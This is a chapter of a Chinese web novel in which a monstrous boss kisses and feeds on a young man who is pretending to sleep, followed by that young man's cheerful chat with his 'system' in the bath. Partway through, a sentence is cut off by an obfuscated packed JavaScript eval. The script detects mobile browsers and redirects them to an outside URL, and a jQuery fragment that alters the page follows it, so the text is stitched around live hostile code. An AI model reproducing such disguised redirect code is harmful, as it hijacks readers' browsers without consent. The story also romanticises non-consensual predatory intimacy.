地下车库昏暗而安静,只有车顶那盏冷白的感应灯投下微弱的光晕,将车内笼罩在一层暧昧又压抑的昏黄之中。
容浔有些受不了地死死咬住下唇,眼睛始终紧紧闭着,长长的睫毛颤抖着,眼尾不断有晶莹的泪水溢出,顺着红透的脸颊滑落,在下巴尖凝聚成一颗水珠。
薄呈延的喉结滚动了一下,俯身含住了那滴泪水。冰凉的舌尖卷着咸湿的液体,缓慢而满足地咽下。他的饥饿感非但没有缓解,反而变得更加凶猛、更加贪婪。
他需要更多。
更多来自容浔的□□,唾液、泪水、汗水,甚至......更多。
容浔的身体开始剧烈颤抖。
怎、怎么办...这、这到底是在做什么呀?为什么还要亲我呀?
他脑子里一片混乱,完全不知所措,却始终死死守着“绝对不能睁眼”的底线。
不行,我要扮演好角色...我不能睁眼呀。统统说过,只要好好装睡,任务就能完成,我不能让统统失望,它已经帮了我那么多...我也可以的,我可以独当一面,不管发生什么,我都、我都要忍住......!
容浔慌乱地死死咬住后槽牙,脸颊红成一片。
薄呈延却觉得这样的容浔可爱到了极点。
容浔现在漂亮得让人几乎挪不开眼。泪水打湿了浓密的睫毛,让它们黏成一小簇又一小簇,脸颊和耳尖染着大片娇艳的绯红,唇瓣被咬得红肿发亮,在昏暗车灯下泛着湿润的光泽。
真甜。薄呈延在心里缓慢地想,
我的新娘,这样美味。恐惧的味道、羞耻的味道、爱的味道......全部都是为我而产生。
他继续亲吻着青年的脸颊,腹腔深处,那团扭曲柔软的本体正兴奋地剧烈蠕动,像无数触须在欢呼。它渴望将容浔整个吞进去,融进自己的血肉,永远不再分离。
这是容浔在回应他的爱意。
这就是他们相爱的证明。
良久,薄呈延缓缓直起身,喉结滚动,那双深黑的眼眸里,浮现出久违的、近乎餍足的愉悦与满足。
还不够......远远不够。但就到这里吧。
他的新娘还太柔软、太容易害羞了。(真的什么都没写,只是亲了一下,放过我)
薄呈延低声开口,似乎带着笑意:“你现在的样子,很可爱。容浔。”
容浔忍不住瑟缩了一下,眼睫剧烈颤抖,泪水还挂在上面,却依旧固执地不肯睁开眼睛。他感受着薄呈延为他穿好了衣服,将一切收拾妥当之后才缓缓睁开眼睛,竭力想要装作一无所知的样子,但他的声线却有些不稳,说话也结结巴巴:“竟、竟然这么快就、就到了吗?谢、谢谢你呀...上司。不好意思,我我我刚才睡着了,什么都不知道...”
说完他自己都觉得这话欲盖弥彰,咬了咬已经红肿的下唇,脸红得快要冒烟,却还是鼓起最后一点勇气,继续道:“就、就送我到这里吧...我、我先走了哦......”
不管在哪里,只要有一次就可以了吧。他真的,呜,完完全全没有办法再来一次了。太恐怖了......
好在薄呈延这次没有阻拦,只是微微点头,用那毫无温度的声音道:“晚安,容浔。”
“晚、晚晚晚安!”容浔几乎是逃也似的推开车门下了车,双腿发软,背影却努力维持着正常。
他丝毫没有注意到,在男人平静到死寂的面容下,整辆车的内部已经被漆黑的影子彻底占据,那些黏腻、蠕动的黑暗像活物一般缓缓翻涌,贪婪地舔舐着容浔刚才坐过的每一个角落。
薄呈延坐在驾驶座上,喉结缓慢而满足地滚动,发出极轻的吞咽声。
啊。
他的新娘,真美味啊。
系统终于从那该死的屏蔽状态中挣脱出来,第一眼就看到了容浔此刻的样子。
青年正站在电梯里,看着不断上升的楼层数字,嘴角弯着,似乎很开心的模样。可他的眼尾还泛着明显的水润红痕,睫毛湿湿地黏在一起,整个人像一只被欺负过却拼命想表现乖巧的小动物,藏不住一点委屈。
系统沉默了两秒,[茸茸......]它的语气带着明显的不安,[你被那个人渣欺负了吗?]
容浔眼睛瞬间亮了起来,声音轻快却难掩鼻音:[统统你回来啦!]
他有些不好意思地垂下眼帘,长长的睫毛颤了颤,弯了弯嘴角,脸颊还残留着未退的红晕:
[应该,不算欺负吧......]
虽然他到现在一想到薄呈延那双冰冷的眼睛和黏腻的触感仍旧觉得腿软,可他还是很快扬起笑意。
[不过有好消息哦!]容浔眼睛弯成两道漂亮的小月牙,声音软软的,带着一点邀功似的雀跃,[我今天有很好的完成任务了呀!一直都闭着眼睛装睡呢!虽然、虽然还是有点害怕......但我觉得自己好厉害呀,竟然一次都没有睁开眼睛!哼哼~这次任务我绝对可以顺利完成啦!]
他说着,还轻轻晃了晃身体。
系统在意识空间里默默流泪。
都是它太没用了......所以茸茸才不得不自己努力变得勇敢起来。它这个系统,实在是太无能了呜呜呜......
容浔等了一会儿,见系统没有立刻夸他,忍不住抿了抿红肿的下唇,小声地问:[统统......你都不夸夸我吗?我明明做得那么好呢......还是说,有什么地方不对呀?]
他垂着眼睛,睫毛轻轻颤动,声音软得像要化掉,带着一点委屈,却还是乖乖地等着,像怕自己真的做错了什么。
系统瞬间破防,吸了吸鼻子,强行重振旗鼓,声音带着哭腔:[茸茸你真的做得太棒了!真的!超级棒!我、我好欣慰呀呜呜呜......]
说到最后,它直接号啕大哭起来,哭得稀里哗啦。
容浔似乎一下子更开心了,脸颊红红的,有些不好意思地挠了挠脸,小声说:[都是统统的帮助呀,所以我才能做得这么好呢~]
系统哭得更厉害了。
它觉得自己不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550696|204323||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是统渣,它简直是史上最废物的系统啊!
————
温暖的水里堆满了细腻的泡沫,香甜的牛奶味沐浴露在空气中弥漫。容浔舒服地叹了口气,把身体整个滑进浴缸,只露出肩膀和脑袋。泡沫厚厚地堆在他白皙的胸口和锁骨上,遮住了大片肌肤,却还是能隐隐透出下面斑斑点点的红痕与深浅不一的咬痕,在白瓷浴缸和泡沫的映衬下显得格外刺眼。
但容浔似乎完全不在意这些痕迹。
他把手机举得高高的,防水袋裹得严严实实,兴致勃勃地刷着短视频。看到一对情侣因为误会大吵大闹最后又和好的狗血剧情时,他忍不住“噗嗤”一声笑出声来,水花都溅了起来。
[统统统统!这个剧情也太笨了吧!好奇怪呀哈哈哈...]
系统此时终于从强烈的自我厌恶中缓过神来。它作为高科技造物,怎么能被这种小挫折持续击败呢?它必须振作!必须给自家宿主提供专业、可靠的指导!
于是它清了清嗓子,难得正经地开口:[咳咳,茸茸啊。虽然今天的事情有点...意料之中,但我们还是要理性分析一下。这种精英型上司,通常都有很强的控制欲和占有欲。这类人表面越是冷淡,内心其实越......]
容浔眨眨眼,认真地听着两秒,然后继续低头刷视频,声音软软的:[嗯嗯,你继续说。]
系统精神一振,继续专业分析。
容浔又刷到一个沙雕视频,笑得眼睛都弯了起来,完全没听进去,呆呆地接话:[统统你分析得好厉害哦~不过我没问题的啦,真的!我今天表现超好的,一直闭着眼睛呢,他都没发现我醒着。]
他骄傲地挺了挺胸,泡沫滑落,露出胸前一小片醒目的吻痕,却丝毫没有自觉,还在小小地炫耀:[所以我觉得......我现在已经很厉害了,完全可以独当一面!统统不用太担心我啦~]
系统深吸一口气,强行把快要冒出来的代码泪憋回去,继续努力:[不是的茸茸,我们还是要提高警惕,应该制定一个计划。]
[嗯嗯,我知道我知道~]容浔随口应着,眼睛却还盯着手机屏幕,嘴角弯弯的,[反正只要我继续好好装睡就行了嘛,我可以的呀!]
系统:......
容浔终于泡得舒舒服服,从浴缸里站起来,水珠顺着白皙的皮肤滑落。他随手扯过浴巾擦了擦身体,走到镜子前,抬手抹掉镜面上的水雾。
镜子里映出青年漂亮又柔软的脸庞,脖子和锁骨处布满了深深浅浅的痕迹。容浔歪着头看了半天,呆呆地喃喃自语:[统统,为什么上司咬的痕迹,和蚊子咬的这么像啊?]
系统瞬间宕机,疯狂在数据库里搜索理由,开始解释。
就在一人一统都没注意到的角落里,浴室门边与墙壁交接的阴影处,一团浓稠的黑色影子正悄无声息地蠕动着。
它像活物一样缓缓伸展,细小的触须状黑暗贴着墙面,贪婪又安静地注视着镜子前那具白皙柔软的身体,以及青年微微泛红的眼尾和唇瓣。